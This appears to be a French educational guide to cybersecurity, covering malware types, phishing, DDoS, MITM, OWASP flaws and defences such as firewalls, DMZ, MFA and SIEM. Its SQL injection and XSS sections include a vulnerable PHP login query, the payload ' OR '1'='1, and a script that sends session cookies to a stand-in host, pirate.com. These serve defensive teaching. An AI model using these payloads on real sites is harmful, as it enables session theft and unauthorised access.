đĄïž CybersĂ©curitĂ© â Attaques, DĂ©fense & SĂ©curitĂ© RĂ©seau
Guide complet IDEO-Lab sur les principes de la sécurité des systÚmes d'information.
Principes (Triade CIA)
Confidentialité, Intégrité, Disponibilité.
CIA Triad Confidentialité IntégritéConcepts Clés
Vecteur d'attaque, Surface, Menace, Risque, Vulnérabilité.
Risque Vecteur CVEAuthentification (AAA)
Authentification, Autorisation, Traçabilité (Audit).
AAA AuthN AuthZMalwares : Virus & Vers
Virus (nécessite hÎte) vs Ver (Worm, se propage seul).
Malware Virus WormMalwares : Trojans & Rootkits
Cheval de Troie, Backdoor, Rootkit (accĂšs noyau).
Trojan Backdoor RootkitMalwares : Ransomware
Rançongiciel. Chiffrement des données contre rançon.
Ransomware ChiffrementIngénierie Sociale
Phishing (Hameçonnage), Spear Phishing (ciblé).
Phishing Ingénierie SocialeAttaques (D)DoS
Denial of Service (Déni de service). Saturation.
DoS DDoS BotnetAttaques (MITM)
Man-in-the-Middle. ARP Spoofing, SSL Stripping.
MITM ARP SpoofingOWASP : Injection SQL
Injection de code SQL via formulaires (' OR '1'='1).
OWASP : XSS
Cross-Site Scripting (Stored, Reflected, DOM).
OWASP XSSOWASP Top 10
Le classement des failles web (CSRF, Broken Auth...).
OWASP Web AppDéfense : Firewall & ACL
Filtrage L3/L4 (Stateless, Stateful), NGFW (L7).
Firewall ACL StatefulDéfense : DMZ
Zone Démilitarisée (Isolation des serveurs publics).
DMZ ArchitectureDéfense : IDS / IPS
Intrusion Detection System (Alerte) vs. Prevention (Blocage).
IDS IPS NGFWDéfense : VPN
Virtual Private Network (IPsec, SSL/TLS).
VPN Tunnel IPsecDéfense : IAM & MFA
Identity & Access Management, Multi-Factor Auth (2FA).
IAM MFA Zero TrustDéfense : Cryptographie
Symétrique (AES), Asymétrique (RSA), Hachage (SHA-256).
AES RSA HashOutils : SIEM & SOC
SIEM (Agrégation de logs), SOC (Centre Opérationnel).
SIEM SOC LogsStratégie : Pentest
Test d'intrusion (White/Black Box), Red/Blue Team.
Pentest Red Team Blue TeamCheat-sheet
Bonnes pratiques (Mises Ă jour, Backups, Moindre privilĂšge).
Checklist Best PracticeLa cybersécurité vise à protéger les systÚmes d'information en garantissant trois principes fondamentaux, connus sous le nom de Triade CIA (ou DIC en français).
| Principe | Signification | Objectif | Attaque Ciblée |
|---|---|---|---|
| ConfidentialitĂ© (Confidentiality) | Seules les personnes autorisĂ©es peuvent accĂ©der aux donnĂ©es. | EmpĂȘcher la divulgation non autorisĂ©e. | Espionnage, MITM, Vol de donnĂ©es. |
| IntĂ©gritĂ© (Integrity) | Les donnĂ©es sont exactes, complĂštes et n'ont pas Ă©tĂ© modifiĂ©es sans autorisation. | EmpĂȘcher l'altĂ©ration non autorisĂ©e. | Ransomware (chiffrement), modification de base de donnĂ©es. |
| DisponibilitĂ© (Availability) | Le systĂšme et les donnĂ©es sont accessibles et fonctionnels lorsque l'utilisateur en a besoin. | EmpĂȘcher l'interruption de service. | Attaque (D)DoS, Ransomware (verrouillage). |
| Terme | Description |
|---|---|
| Actif (Asset) | Toute donnée, appareil ou ressource ayant de la valeur (ex: base de données clients, serveur web). |
| Menace (Threat) | Tout ce qui peut potentiellement nuire Ă un actif (ex: un pirate, un malware, une inondation). |
| Vecteur d'Attaque | Le "chemin" utilisé par une menace pour atteindre l'actif (ex: un email de phishing, un port ouvert, une clé USB). |
| Surface d'Attaque | La somme de tous les vecteurs d'attaque possibles (tous les points d'entrée). |
| VulnĂ©rabilitĂ© (CVE) | Une faiblesse (bug, mauvaise configuration) dans un actif qui peut ĂȘtre exploitĂ©e par une menace. (RĂ©fĂ©rencĂ©e par un numĂ©ro CVE - Common Vulnerabilities and Exposures). |
| Exploit | Le code ou la technique qui utilise une vulnérabilité pour déclencher l'attaque. |
| Risque (Risk) | La probabilité qu'une menace exploite une vulnérabilité, multipliée par l'impact (le coût) si cela se produit. (Risque = Menace x Vulnérabilité x Impact). |
AAA est le framework de base pour le contrĂŽle d'accĂšs.
1. Authentification (AuthN)
La question : "Qui ĂȘtes-vous ?"
C'est le processus de vérification de l'identité revendiquée par un utilisateur. On utilise des "facteurs" d'authentification :
- Type 1 (Savoir) : Quelque chose que vous savez (Mot de passe, PIN).
- Type 2 (Avoir) : Quelque chose que vous possédez (Clé USB YubiKey, Téléphone (TOTP)).
- Type 3 (Ătre) : Quelque chose que vous ĂȘtes (Empreinte digitale, Visage).
MFA (Multi-Factor Authentication) : Utilise au moins 2 de ces 3 types (ex: Mot de passe + TOTP). (Voir 6.2).
2. Autorisation (AuthZ)
La question : "Qu'avez-vous le droit de faire ?"
Une fois authentifiĂ© (vous ĂȘtes bien "Bob"), ce processus dĂ©termine Ă quelles ressources "Bob" a accĂšs.
Principe du Moindre PrivilĂšge (PoLP) : "Bob" (Comptable) ne doit avoir accĂšs qu'aux serveurs de compta, et non aux serveurs de R&D.
3. Traçabilité (Accounting / Audit)
La question : "Qu'avez-vous fait ?"
C'est l'enregistrement (logging) de toutes les actions effectuées par l'utilisateur (connexion, accÚs fichier, suppression).
Indispensable pour l'analyse forensique (enquĂȘte) aprĂšs un incident.
Malware (Logiciel malveillant) est le terme générique.
Virus
Un virus est un code malveillant qui s'attache Ă un fichier hĂŽte (ex: .exe, macro Word).
Propagation : Nécessite une action humaine pour se propager (ex: l'utilisateur doit exécuter le fichier infecté, ou ouvrir le document Word).
Ver (Worm)
Un ver est un malware autonome (standalone).
Propagation : Sa fonction principale est de se rĂ©pliquer lui-mĂȘme sur d'autres machines du rĂ©seau, sans intervention humaine. Il exploite activement les vulnĂ©rabilitĂ©s rĂ©seau (ex: WannaCry, Stuxnet).
Les vers sont extrĂȘmement dangereux car ils peuvent paralyser un rĂ©seau entier en quelques minutes.
Cheval de Troie (Trojan)
Un malware qui se déguise en logiciel légitime (ex: un jeu gratuit, un "crack", un faux antivirus).
L'utilisateur l'exécute en pensant qu'il est inoffensif. Une fois lancé, le Trojan active sa charge utile (payload) malveillante.
Types de Payloads (Trojans)
- Backdoor (Porte dérobée) : Ouvre un accÚs "secret" (ex: un port) pour que l'attaquant puisse revenir plus tard.
- Spyware (Logiciel espion) : Vole des informations (ex: Keylogger - enregistre les frappes clavier).
- Botnet : EnrÎle la machine dans un réseau "zombie" (utilisé pour les attaques DDoS).
Rootkit
Un type de malware extrĂȘmement furtif, conçu pour cacher sa propre prĂ©sence (et celle d'autres malwares) sur le systĂšme.
Il opĂšre au niveau le plus bas du systĂšme (parfois mĂȘme au niveau du Noyau/Kernel) pour intercepter les appels systĂšme.
Exemple : 1. L'Antivirus demande au SystÚme : "Liste les processus en cours". 2. Le Rootkit intercepte l'appel. 3. Le Rootkit renvoie la liste, mais *aprÚs avoir retiré* son propre processus (ex: "malware.exe") de la liste. 4. L'Antivirus ne voit rien.
Un Ransomware est un malware qui chiffre (crypte) les données de la victime (documents, photos, bases de données) et exige une rançon (généralement en cryptomonnaie) en échange de la clé de déchiffrement.
Types
- Crypto-Ransomware : (Le plus courant) Chiffre les fichiers (ex: WannaCry, LockBit).
- Locker-Ransomware : Verrouille l'écran de l'ordinateur (moins courant).
Double & Triple Extorsion
Les attaques modernes ne se contentent plus de chiffrer :
- Double Extorsion : Exfiltration (vol) des données *avant* de les chiffrer. L'attaquant menace de publier les données si la rançon n'est pas payée.
- Triple Extorsion : Ajoute une attaque DDoS sur le site public de la victime pour augmenter la pression.
Défense : La seule défense fiable est une sauvegarde (backup) hors ligne (immuable).
L'Ingénierie Sociale est l'art de manipuler la psychologie humaine (confiance, urgence, peur) pour contourner la sécurité. C'est souvent le vecteur d'attaque n°1.
| Type | Description |
|---|---|
| Phishing (Hameçonnage) | Email de masse, non ciblé (ex: "Votre compte Netflix est bloqué, cliquez ici"). Tente de récupérer des identifiants (Credential Harvesting). |
| Spear Phishing | Phishing ciblé (ex: un email semblant venir du PDG, destiné au service compta, demandant un virement urgent). TrÚs personnalisé. |
| Vishing / Smishing | Phishing par Voix (Vishing) (appel téléphonique) ou SMS (Smishing). |
| Baiting (Appùt) | Laisser traßner une clé USB infectée (Appùt physique) ou proposer un "film gratuit" (Appùt numérique). |
Une attaque DoS (Denial of Service) vise Ă rendre un service (ex: un site web) indisponible (voir "A" de la Triade CIA) en saturant ses ressources.
DoS (Denial of Service)
Une seule machine attaquante.
DDoS (Distributed DoS)
L'attaque est distribuée. L'attaquant utilise un Botnet (un réseau de milliers de machines zombies/infectées) pour lancer l'attaque simultanément. Impossible à bloquer (les IPs sources sont trop nombreuses).
Types d'attaques DDoS
- Volumétrique (L3/L4) : (Le plus courant) Inonder la bande passante de la victime (ex: SYN Flood, UDP Flood).
- Applicative (L7) : (Plus furtif) Viser une ressource coûteuse (ex:
/recherchesur un site e-commerce) pour saturer le CPU ou la BDD.
Défense : Services "Anti-DDoS" (ex: Cloudflare, AWS Shield) qui absorbent et filtrent le trafic "sale".
Une attaque MITM (Homme du Milieu) se produit lorsqu'un attaquant parvient à s'insérer secrÚtement au milieu d'une communication entre deux parties (ex: vous et votre banque), lui permettant d'écouter, de modifier ou de détourner le trafic.
Vecteurs d'attaque courants
- ARP Spoofing (LAN) : Sur un LAN (ex: Wi-Fi public), l'attaquant envoie de faux paquets ARP (voir guide LAN) pour convaincre votre PC qu'il *est* le routeur (la passerelle). Tout votre trafic passe alors par le PC de l'attaquant.
- SSL Stripping : Une attaque MITM qui force une connexion HTTPS (sécurisée) à basculer en HTTP (non sécurisé), permettant à l'attaquant de lire le trafic en clair.
- Evil Twin (Jumeau Maléfique) : L'attaquant crée un faux Point d'AccÚs Wi-Fi (ex: "Starbucks_Free_Wifi_") pour que les victimes s'y connectent.
Défense : HTTPS (SSL/TLS), HSTS, et ne jamais faire confiance à un Wi-Fi public.
Une faille d'injection SQL (OWASP Top 10) se produit lorsqu'une application inclut des donnĂ©es non fiables (venant d'un utilisateur) dans une requĂȘte de base de donnĂ©es, sans les valider ou les "Ă©chapper" correctement.
Code Vulnérable (PHP/SQL)
L'application veut vérifier un login/mot de passe :
$user = $_POST['username']; $pass = $_POST['password']; // VULNĂRABLE : ConcatĂ©nation de strings $sql = "SELECT * FROM users WHERE user = '$user' AND pass = '$pass'"; $db->query($sql);
L'Attaque
L'attaquant n'a pas besoin de mot de passe. Il entre ceci dans le champ "username" :
' OR '1'='1
La requĂȘte SQL devient :
SELECT * FROM users WHERE user = '' OR '1'='1' --' AND pass = '...'
La condition '1'='1' est toujours vraie. La requĂȘte retourne tous les utilisateurs, et l'attaquant est connectĂ© (souvent en tant que premier utilisateur, l'admin).
Défense
RequĂȘtes PrĂ©parĂ©es (Prepared Statements) : Envoyer la "structure" SQL et les "donnĂ©es" (variables) sĂ©parĂ©ment. (Voir guide PHP).
Une faille XSS (OWASP Top 10) se produit lorsqu'une application inclut des données non fiables (venant d'un utilisateur) dans sa page (HTML) cÎté client, sans les valider ou les "échapper" (encoder).
Cela permet à un attaquant d'exécuter du JavaScript arbitraire dans le navigateur de la victime.
XSS Stocké (Stored) - Le plus dangereux
- L'attaquant poste un commentaire sur un blog. Son commentaire est :
<script>fetch('https://pirate.com/steal?cookie=' + document.cookie);</script> - Le site (vulnérable) stocke ce script (brut) dans sa base de données.
- Une Victime (ex: un Admin) visite la page du blog.
- Le site affiche le commentaire de l'attaquant.
- Le navigateur de l'Admin exécute le script
<script>...</script>. - Le script vole le cookie de session de l'Admin et l'envoie au pirate (Session Hijacking).
XSS Reflété (Reflected)
Le payload (script) n'est pas stocké. Il est "reflété" par l'URL.
Exemple : Un site de recherche vulnérable /search.php?q=mon-terme qui affiche "Résultats pour: mon-terme".
- L'attaquant envoie un email de phishing Ă la victime avec un lien :
/search.php?q=<script>alert(1);</script>- La victime clique. Le serveur (vulnérable) génÚre le HTML :
<h1>Résultats pour: <script>alert(1);</script></h1>- Le navigateur de la victime exécute le script.
DĂ©fense : Output Encoding. Ăchapper le HTML (ex: htmlspecialchars() en PHP) pour que < devienne <.
L'OWASP (Open Web Application Security Project) publie une liste (mise à jour réguliÚrement) des 10 risques de sécurité les plus critiques pour les applications web. C'est le standard de l'industrie.
Exemple (Liste 2021)
| Rang | Vulnérabilité | Exemple |
|---|---|---|
| A01 | Broken Access Control | ContrÎle d'accÚs défaillant (ex: un utilisateur normal accÚde à /admin). |
| A02 | Cryptographic Failures | Mauvais chiffrement (ex: stockage de mots de passe en MD5). |
| A03 | Injection | (Injection SQL, NoSQL, OS Command). |
| A04 | Insecure Design | ProblÚmes de conception (architecture non sécurisée). |
| A05 | Security Misconfiguration | Mauvaise configuration (ex: ports ouverts, messages d'erreur verbeux). |
| A06 | Vulnerable Components | Utilisation de librairies (NPM, Maven) avec des failles connues (CVEs). |
| A07 | Identification/Authentication Failures | Authentification défaillante (ex: pas de MFA, mots de passe faibles). |
| A08 | Software/Data Integrity Failures | Intégrité logicielle (ex: mise à jour non vérifiée). |
| A09 | Security Logging/Monitoring Failures | Manque de logs ou de surveillance. |
| A10 | SSRF (Server-Side Request Forgery) | L'attaquant force le serveur Ă faire une requĂȘte (ex: vers une IP interne). |
Le Firewall est la premiÚre ligne de défense du réseau (périmÚtre).
- Stateless (ACL) : (Voir 1.3 & 4.3) Filtrage L3/L4 simple.
- Stateful (SPI) : (Voir 2.2) Filtrage L3/L4 intelligent, basé sur l'état des connexions. C'est le standard (Windows Firewall, iptables, pfSense...).
- NGFW (Next-Gen) : (Voir 2.3) Filtrage L7 (Application). Peut bloquer "Facebook" ou des signatures de malwares.
Une DMZ (Zone DĂ©militarisĂ©e) est un rĂ©seau "tampon" (une 3Ăšme zone de confiance) créé par un firewall. C'est la zone destinĂ©e Ă hĂ©berger les serveurs qui doivent ĂȘtre accessibles depuis Internet (Untrust).
La RĂšgle d'Or de la DMZ
Le trafic est géré par des rÚgles strictes pour protéger le LAN (Trust) :
Interface 1: WAN (Untrust) Interface 2: LAN (Trust) Interface 3: DMZ (Semi-Trust) <- Serveur Web RĂšgles de Firewall : 1. PERMIT WAN -> DMZ (Port 443) (Internet voit le serveur web) 2. PERMIT LAN -> WAN (Sortie Internet) 3. PERMIT LAN -> DMZ (Les admins accĂšdent au serveur web) 4. DENY DMZ -> LAN (La rĂšgle la plus importante !)
Si le serveur web (DMZ) est piraté, le pirate est bloqué dans la DMZ et ne peut pas atteindre le LAN.
Ces systĂšmes analysent le trafic (DPI) Ă la recherche de signatures d'attaques connues (ex: exploits, scans de ports).
IDS (Intrusion Detection System)
Mode : Passif (Détection).
L'IDS "écoute" le trafic (ex: via un port "mirror" sur un switch) mais n'est pas dans le chemin.
S'il détecte une attaque : Il lÚve une alerte (envoie un email, un log SIEM).
IPS (Intrusion Prevention System)
Mode : Actif (Prévention).
L'IPS est dans le chemin du trafic (en ligne), souvent intégré au NGFW.
S'il détecte une attaque : Il bloque (drop) le paquet malveillant avant qu'il n'atteigne la cible.
Un VPN crée un "tunnel" crypté et privé à travers un réseau public (généralement Internet). Il garantit la Confidentialité et l'Intégrité du trafic.
VPN IPsec (Site-to-Site)
Utilisé pour connecter deux LANs (ex: Bureau Paris <-> Bureau Lyon) de maniÚre permanente. Le tunnel est géré par les routeurs/firewalls des deux sites.
Les utilisateurs n'ont rien à faire ; le trafic est automatiquement crypté et "tunnelé" par le routeur.
VPN SSL/TLS (Client-to-Site)
Utilisé par les télétravailleurs pour se connecter au réseau de l'entreprise.
L'utilisateur lance un logiciel client (ex: OpenVPN, Cisco AnyConnect) sur son PC, qui établit un tunnel sécurisé vers le firewall de l'entreprise.
IAM (Identity and Access Management)
L'IAM est le cadre (politiques, technologies) qui gÚre l'identité numérique (qui est qui) et les autorisations (qui a le droit de faire quoi).
C'est l'implémentation de l'AAA (voir 1.3) à grande échelle, souvent gérée par Active Directory (AD) ou des solutions cloud (Azure AD, Okta).
Principe clé : Moindre PrivilÚge (PoLP). Un utilisateur ne doit avoir que le minimum d'accÚs requis pour faire son travail.
MFA (Multi-Factor Authentication)
Le MFA (ou 2FA - Two-Factor) est la mesure de sécurité la plus efficace contre le vol d'identifiants (phishing).
Elle demande Ă l'utilisateur de prouver son identitĂ© en utilisant au moins deux des trois types de facteurs (Savoir, Avoir, Ătre).
Exemple courant (2FA) :
- Facteur 1 (Savoir) : Mot de passe.
- Facteur 2 (Avoir) : Code TOTP (ex: Google Authenticator) ou Clé FIDO2 (YubiKey).
Zero Trust (Confiance Zéro)
C'est la philosophie de sécurité moderne.
Ancien modÚle ("Chùteau Fort") : "Difficile d'entrer (Firewall), mais une fois dedans (LAN), tout le monde est de confiance." (Désastreux si un attaquant rentre).
ModÚle Zero Trust : "Ne jamais faire confiance, toujours vérifier" (Never Trust, Always Verify).
- Il n'y a plus de "rĂ©seau de confiance" (mĂȘme le LAN est hostile).
- Chaque connexion (mĂȘme LAN -> LAN) doit ĂȘtre authentifiĂ©e (MFA) et autorisĂ©e.
- La micro-segmentation (VLANs, Firewalls) est utilisée partout.
La cryptographie est la base de la Confidentialité et de l'Intégrité.
| Type | Concept | Algorithmes | Usage |
|---|---|---|---|
| Hachage (Hash) | Fonction à sens unique (non réversible). Vérifie l'intégrité (Checksum). | MD5 (ObsolÚte), SHA-256 | Stockage de mots de passe, Signature de fichier. |
| Symétrique | Une seule clé (secrÚte) pour chiffrer ET déchiffrer. TrÚs rapide. | DES (ObsolÚte), AES | Chiffrement de masse (disques durs, connexions VPN/TLS). |
| AsymĂ©trique | Deux clĂ©s (Paire) : 1 Publique (pour chiffrer), 1 PrivĂ©e (pour dĂ©chiffrer). Lent. | RSA, ECC | Ăchange de la clĂ© symĂ©trique (le "Handshake" TLS), Signatures numĂ©riques. |
SIEM (Security Information & Event Management)
Un SIEM (ex: Splunk, ELK Stack) est un "aspirateur Ă logs".
Il collecte, agrĂšge, et corrĂšle les logs de tous les appareils (Firewalls, Serveurs, AD, Switchs, PC) en un seul endroit.
Objectif : Détecter les menaces en corrélant des événements (ex: "50 logins échoués (AD)" + "suivis d'un scan de port (Firewall)" = Alerte !).
SOC (Security Operations Center)
Un SOC est l'équipe humaine (les analystes sécurité) qui surveille les alertes du SIEM (et autres outils) 24/7, trie les incidents, et répond aux attaques (Incident Response).
Un Pentest est un audit de sécurité offensif : une attaque simulée (et autorisée) contre un systÚme pour trouver des vulnérabilités avant que les vrais pirates ne les trouvent.
Types de Pentest (Niveau d'information)
- Black Box (Boßte Noire) : L'attaquant n'a aucune information (juste le nom de l'entreprise). (Condition réelle).
- Grey Box (Boßte Grise) : L'attaquant a des informations limitées (ex: un compte utilisateur normal).
- White Box (Boßte Blanche) : L'attaquant a toutes les informations (Code source, schémas d'architecture). (Permet un audit en profondeur).
Red Team vs. Blue Team
- Red Team (Attaque) : L'équipe "offensive" qui simule l'attaquant et tente de s'introduire.
- Blue Team (Défense) : L'équipe "défensive" (souvent le SOC) qui doit détecter et bloquer la Red Team.
- Purple Team : Exercice oĂč les deux Ă©quipes collaborent pour amĂ©liorer la dĂ©tection.
â PrĂ©vention (Utilisateur & AccĂšs)
- MFA : Activer le Multi-Factor Authentication (MFA) partout (Admin, Email, VPN).
- Moindre PrivilÚge : Ne donnez que les droits minimums nécessaires.
- Formation : Former les utilisateurs à détecter le Phishing.
- Mots de passe : Politique de mots de passe robustes (longs) + Gestionnaire (Vault).
â PrĂ©vention (SystĂšme & RĂ©seau)
- Patch Management : Mettre à jour immédiatement (OS, Logiciels, Librairies).
- Firewall : Politique "Implicit Deny" (tout bloquer, n'autoriser que le nécessaire).
- Segmentation : Utiliser des VLANs (ex: VLAN Invités, VLAN IoT, VLAN Admin).
- Backups (3-2-1) : 3 copies, sur 2 médias différents, dont 1 hors site (offline/immuable). (Vital contre Ransomware).
- Logging : Activer et centraliser les logs (SIEM).
